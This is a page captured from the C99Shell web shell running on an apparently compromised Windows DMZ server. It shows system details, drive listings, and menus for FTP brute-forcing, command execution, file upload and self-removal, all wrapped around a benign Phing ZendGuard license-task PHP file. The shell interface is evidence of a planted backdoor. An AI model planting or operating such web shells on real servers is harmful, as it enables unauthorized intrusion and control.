!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\dmz\php\pear\phing\tasks\ext\zendguard\   drwxrwxrwx
Free 4.11 GB of 39.52 GB (10.4%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ZendGuardLicenseTask.php (16.13 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 *  $Id: ZendGuardLicenseTask.php 1026 2011-01-06 15:13:50Z mrook $
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * This software consists of voluntary contributions made by many individuals
 * and is licensed under the LGPL. For more information please see
 * <http://phing.info>.
 */

/**
 * Produce license files using Zeng Guard.
 * The task can produce a license file from the given
 * license properties or it can use a template.
 *
 * @author    Petr Rybak <petr@rynawe.net>
 * @version   $Id: ZendGuardLicenseTask.php 1026 2011-01-06 15:13:50Z mrook $
 * @package   phing.tasks.ext.zendguard
 * @since     2.4.3
 */
class ZendGuardLicenseTask extends Task
{
    protected 
$zendsignCommand;
    private 
$tmpLicensePath;

    
/**
     * TASK PROPERTIES
     *
     * See http://static.zend.com/topics/Zend-Guard-User-Guidev5x.pdf
     * for more information on how to use ZendGuard
     *
     */
    /**
     * Path to Zend Guard zendenc_sign executable
     * 
     * @var string
     */
    
protected $zendsignPath;
    
/**
     * Path to private key that will be used to sign the license
     * 
     * @var string
     */
    
protected $privateKeyPath;
    
/**
     * Where to store the signed license file
     * 
     * @var string 
     */
    
protected $outputFile;
    
/**
     * Path to license template. If specified all
     * license properties will be ignored and the
     * template will be used to generate the file.
     *
     * @var string
     */
    
protected $licenseTemplate;
    
/**
     * The name assigned to Product. This must be the same name used when encoding
     * the PHP files.
     *
     * REQUIRED
     * 
     * @var string
     */
    
protected $productName;
    
/**
     * The Name of the Registered owner of the license.
     *
     * REQUIRED
     * 
     * @var string 
     */
    
protected $registeredTo;
    
/**
     * Expiration date of the license. Used if the license is issued with a date restriction.
     * Possible values:
     *     - 'Never', '0' or false: the license won't expire
     *     - A Date in format DD-MM-YYYY to set expiration for that date
     *     - Relative date supported by the PHP strtotime function (e.g. +1 month)
     *
     * REQUIRED
     *
     * @var string
     */
    
protected $expires;
    
/**
     * Limits the use of the license to IP addresses that fall within specification. Supports 
     * wildcards for any of the IP place holders, as well as the two types of net masks 
     * (filters).
     * Netmask pair An IP a.b.c.d, and a netmask w.x.y.z. (That is., 10.1.0.0/255.255.0.0), 
     * where the binary of mask is applied to filter IP addresses.
     * ip/nnn (similar to a CIDR specification) This mask consists of nnn high-order 1 bits. 
     * (That is, 10.1.0.0/16 is the same as 10.1.0.0/255.255.0.0). Instead of spelling out 
     * the bits of the subnet mask, this mask notation is simply listed as the number of 1s 
     * bits that start the mask. Rather than writing the address and subnet mask as 
     * 192.60.128.0/255.255.252.0 the network address would be written simply as: 
     * 192.60.128.0/22 which indicates starting address of the network and number of 1s
     * bits (22) in the network portion of the address. The mask in binary is 
     * (11111111.11111111.11111100.00000000).
     * 
     * OPTIONAL
     * 
     * Example (Wildcard):
     * IP-Range = 10.1.*.*
     * Example (Net Mask):
     * IP-Range = 10.1.0.0/255.255.0.0
     * Example (Net Mask):
     * IP-Range = 10.1.0.0/16
     * 
     * @var string 
     */
    
protected $ipRange;
    
/**
     * Coded string (Zend Host ID) used to lock the license to a specific hardware. The 
     * Zend Host ID obtained from the machine where the encoded files and license are 
     * to be installed. The Zend Host ID code can be obtained by using the zendid utility.
     * For more details, see Getting the Zend Host ID.
     * 
     * REQUIRED if Hardware-Locked is set equal to YES.
     * Meaningless if Hardware-Locked is set equal to NO.
     *
     * User semicolon to enter more than one Host-ID
     *
     * Example:
     * Host-ID = H:MFM43-Q9CXC-B9EDX-GWYSU;H:MFM43-Q9CXC-B9EDX-GWYTY
     * 
     * @var string 
     */
    
protected $hostID;
    
/**
     * Option that indicates if the license will be locked to a specific machine
     * using the Zend Host ID code(s). If set to YES, the Host-ID is required.
     * 
     * OPTIONAL
     *
     * @var bool
     */
    
protected $hardwareLocked;
    
/**
     * Semi-colon separated user defined values that will be part of the license. These values
     * CANNOT be modified after the license is produced. Modification
     * would invalidate the license.
     *
     * OPTIONAL
     * Example:
     * Tea=Mint Flavor;Coffee=Arabica
     *
     * @var string
     */
    
protected $userDefinedValues;
    
/**
     * Semi-colon separated user defined x-values that will be part of the license. These values
     * CAN be modified after the license is produced. Modification
     * won't invalidate the license.
     *
     * OPTIONAL
     * Example:
     * Tea=Mint Flavor;Coffee=Arabica
     *
     * @var string
     */
    
protected $xUserDefinedValues;


    public function 
setLicenseTemplate($value)
    {
        
$this->licenseTemplate $value;
    }

    public function 
setProductName($productName)
    {
        
$this->productName $productName;
    }

    public function 
setRegisteredTo($registeredTo)
    {
        
$this->registeredTo $registeredTo;
    }

    
/**
     * Process the expires property. If the value is
     * empty (false, '', ...) it will set the value to 'Never'
     * Otherwise it will run the value through strtotime so relative
     * date and time notation can be used (e.g. +1 month)
     *
     * @param mixed $expires
     *
     * @return string
     */
    
public function setExpires($expires)
    {
        
// process the expires value
        
if (false === $expires || '0' === $expires || strtolower($expires) == 'never' || '' === $expires) {
            
$this->expires 'Never';
        } else {
            
$time strtotime($expires);
            if (!
$time) {
                throw new 
BuildException("Unsupported expires format: " $expires);
            }
            
$this->expires date('d-M-Y'$time);
        }
    }

    public function 
setIpRange($iprange)
    {
        
$this->ipRange $iprange;
    }

    public function 
setHostID($hostID)
    {
        
$this->hostID $hostID;
    }

    public function 
setHardwareLocked($hardwareLocked)
    {
        
$this->hardwareLocked = (bool) $hardwareLocked;
    }

    public function 
setUserDefinedValues($userDefinedValues)
    {
        
$this->userDefinedValues $userDefinedValues;
    }

    public function 
setXUserDefinedValues($xUserDefinedValues)
    {
        
$this->xUserDefinedValues $xUserDefinedValues;
    }

    public function 
setZendsignPath($zendsignPath)
    {
        
$this->zendsignPath $zendsignPath;
    }

    public function 
setPrivateKeyPath($privateKeyPath)
    {
        
$this->privateKeyPath $privateKeyPath;
    }

    public function 
setOutputFile($outputFile)
    {
        
$this->outputFile $outputFile;
    }

    
/**
     * Verifies that the configuration is correct
     *
     * @throws BuildException
     */
    
protected function verifyConfiguration()
    {
        
// Check that the zend encoder path is specified
        
if (empty($this->zendsignPath)) {
            throw new 
BuildException("Zendenc_sign path must be specified");
        }
        
// verify that the zend encoder binary exists
        
if (!file_exists($this->zendsignPath)) {
            throw new 
BuildException("Zendenc_sign not found on path " $this->zendsignPath);
        }

        
// verify that the private key path is defined
        
if (empty($this->privateKeyPath)) {
            throw new 
BuildException("You must define privateKeyPath.");
        }
        
// verify that the private key file is readable
        
if (!is_readable($this->privateKeyPath)) {
            throw new 
BuildException("Private key file is not readable: " $this->privateKeyPath);
        }

        
// if template is passed, verify that it is readable
        
if (!empty($this->licenseTemplate)) {
            if (!
is_readable($this->licenseTemplate)) {
                throw new 
BuildException("License template file is not readable " $this->licenseTemplate);
            }
        }

        
// check that output file path is defined
        
if (empty($this->outputFile)) {
            throw new 
BuildException("Path where to store the result file needs to be defined in outputFile property");
        }

        
// if license template is NOT provided check that all required parameters are defined
        
if (empty($this->licenseTemplate)) {

            
// check productName
            
if (empty($this->productName)) {
                throw new 
BuildException("Property must be defined: productName");
            }

            
// check expires
            
if (null === $this->expires) {
                throw new 
BuildException("Property must be defined: expires");
            }

            
// check registeredTo
            
if (empty($this->registeredTo)) {
                throw new 
BuildException("Property must be defined: registeredTo");
            }

            
// check hardwareLocked
            
if (null === $this->hardwareLocked) {
                throw new 
BuildException("Property must be defined: " $requiredProperty);
            }

            
// if hardwareLocked is set to true, check that Host-ID is set
            
if ($this->hardwareLocked) {
                if (empty(
$this->hostID)) {
                    throw new 
BuildException("If you set hardwareLocked to true hostID must be provided");
                }
            }
        }
    }

    
/**
     * Do the work
     *
     * @throws BuildException
     */
    
public function main()
    {
        try {
            
$this->verifyConfiguration();

            
$this->generateLicense();
        } catch (
Exception $e) {
            
// remove the license temp file if it was created
            
$this->cleanupTmpFiles();

            throw 
$e;
        }
        
$this->cleanupTmpFiles();
    }

    
/**
     * If temporary license file was created during the process
     * this will remove it
     *
     * @return void
     */
    
private function cleanupTmpFiles()
    {
        if (!empty(
$this->tmpLicensePath) && file_exists($this->tmpLicensePath)) {
            
$this->log("Deleting temporary license template " $this->tmpLicensePathProject::MSG_VERBOSE);

            
unlink($this->tmpLicensePath);
        }
    }

    
/**
     * Prepares and returns the command that will be
     * used to create the license.
     *
     * @return string
     */
    
protected function prepareSignCommand()
    {
        
$command $this->zendsignPath;

        
// add license path
        
$command .= ' ' $this->getLicenseTemplatePath();

        
// add result file path
        
$command .= ' ' $this->outputFile;

        
// add key path
        
$command .= ' ' $this->privateKeyPath;


        
$this->zendsignCommand $command;

        return 
$command;
    }

    
/**
     * Checks if the license template path is defined
     * and returns it.
     * If it the license template path is not defined
     * it will generate a temporary template file and
     * provide it as a template.
     *
     * @return string
     */
    
protected function getLicenseTemplatePath()
    {
        if (!empty(
$this->licenseTemplate)) {
            return 
$this->licenseTemplate;
        } else {
            return 
$this->generateLicenseTemplate();
        }
    }

    
/**
     * Creates the signed license at the defined output path
     *
     * @return void
     */
    
protected function generateLicense()
    {
        
$command $this->prepareSignCommand() . ' 2>&1';

        
$this->log('Creating license at ' $this->outputFile);

        
$this->log('Running: ' $commandProject::MSG_VERBOSE);
        
$tmp exec($command$output$return_var);

        
// Check for exit value 1. Zendenc_sign command for some reason
        // returns 0 in case of failure and 1 in case of success...
        
if ($return_var !== 1) {
            throw new 
BuildException("Creating license failed. \n\nZendenc_sign msg:\n" join("\n"$output) . "\n\n");
        }
    }

    
/**
     * It will generate a temporary license template
     * based on the properties defined.
     *
     * @return string Path of the temporary license template file
     */
    
protected function generateLicenseTemplate()
    {
        
$this->tmpLicensePath tempnam(sys_get_temp_dir(), 'zendlicense');

        
$this->log("Creating temporary license template " $this->tmpLicensePathProject::MSG_VERBOSE);
        if (
file_put_contents($this->tmpLicensePath$this->generateLicenseTemplateContent()) === false) {
            throw new 
BuildException("Unable to create temporary template license file: " $this->tmpLicensePath);
        }

        return 
$this->tmpLicensePath;
    }

    
/**
     * Generates license template content based
     * on the defined parameters
     *
     * @return string
     */
    
protected function generateLicenseTemplateContent()
    {
        
$contentArr = array();

        
// Product Name
        
$contentArr[] = array('Product-Name'$this->productName);
        
// Registered to
        
$contentArr[] = array('Registered-To'$this->registeredTo);
        
// Hardware locked
        
$contentArr[] = array('Hardware-Locked', ($this->hardwareLocked 'Yes' 'No'));

        
// Expires
        
$contentArr[] = array('Expires'$this->expires);

        
// IP-Range
        
if (!empty($this->ipRange)) {
            
$contentArr[] = array('IP-Range'$this->ipRange);
        }
        
// Host-ID
        
if (!empty($this->hostID)) {
            foreach (
explode(';'$this->hostID) as $hostID) {
                
$contentArr[] = array('Host-ID'$hostID);
            }
        } else {
            
$contentArr[] = array('Host-ID''Not-Locked');
        }

        
// parse user defined fields
        
if (!empty($this->userDefinedValues)) {
            
$this->parseAndAddUserDefinedValues($this->userDefinedValues$contentArr);
        }
        
// parse user defined x-fields
        
if (!empty($this->xUserDefinedValues)) {
            
$this->parseAndAddUserDefinedValues($this->xUserDefinedValues$contentArr'X-');
        }

        
// merge all the values
        
$content '';
        foreach (
$contentArr as $valuePair) {

            list(
$key$value) = $valuePair;

            
$content .= $key " = " $value "\n";
        }

        return 
$content;
    }

    
/**
     * Parse the given string in format like key1=value1;key2=value2;... and 
     * converts it to array
     *   (key1=>value1, key2=value2, ...)
     *
     * @param stirng $valueString Semi-colon separated value pairs
     * @param array  $valueArray Array to which the values will be added
     * @param string $keyPrefix Prefix to use when adding the key
     *
     * @return void
     */
    
protected function parseAndAddUserDefinedValues($valueString, array &$valueArray$keyPrefix '',
                                                    
$pairSeparator ';')
    {
        
// explode the valueString (semicolon)
        
$valuePairs explode($pairSeparator$valueString);
        if (!empty(
$valuePairs)) {
            foreach (
$valuePairs as $valuePair) {
                list(
$key$value) = explode('='$valuePair2);

                
// add pair into the valueArray
                
$valueArray[] = array($keyPrefix $key$value);
            }
        }
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--